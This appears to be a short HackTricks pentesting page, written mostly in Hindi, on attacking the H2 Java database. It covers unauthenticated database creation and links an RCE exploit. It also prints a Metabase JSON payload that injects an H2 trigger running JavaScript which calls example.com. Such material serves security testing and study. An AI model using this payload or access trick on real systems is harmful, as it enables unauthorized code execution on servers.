# H2 - Java SQL database {{#include ../../banners/hacktricks-training.md}} Official page: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) ## Access आप एक **गैर-मौजूद डेटाबेस का नाम** निर्दिष्ट कर सकते हैं ताकि **मान्य क्रेडेंशियल्स के बिना एक नया डेटाबेस बनाया जा सके** (**अनधिकृत**): ![](<../../images/image (131).png>) या यदि आप जानते हैं कि उदाहरण के लिए **mysql चल रहा है** और आप **डेटाबेस का नाम** और उस डेटाबेस के लिए **क्रेडेंशियल्स** जानते हैं, तो आप बस इसे एक्सेस कर सकते हैं: ![](<../../images/image (201).png>) _**HTB के बॉक्स हॉक से ट्रिक।**_ ## **RCE** H2 डेटाबेस के साथ संवाद करने के लिए एक्सेस होने पर, इसे RCE प्राप्त करने के लिए इस एक्सप्लॉइट की जांच करें: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) ## H2 SQL Injection to RCE [**इस पोस्ट**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) में एक पेलोड समझाया गया है जो **H2 डेटाबेस के माध्यम से RCE प्राप्त करने के लिए** एक **SQL Injection** का दुरुपयोग करता है। ```json [...] "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;", "advanced-options": false, "ssl": true }, [...] ``` {{#include ../../banners/hacktricks-training.md}}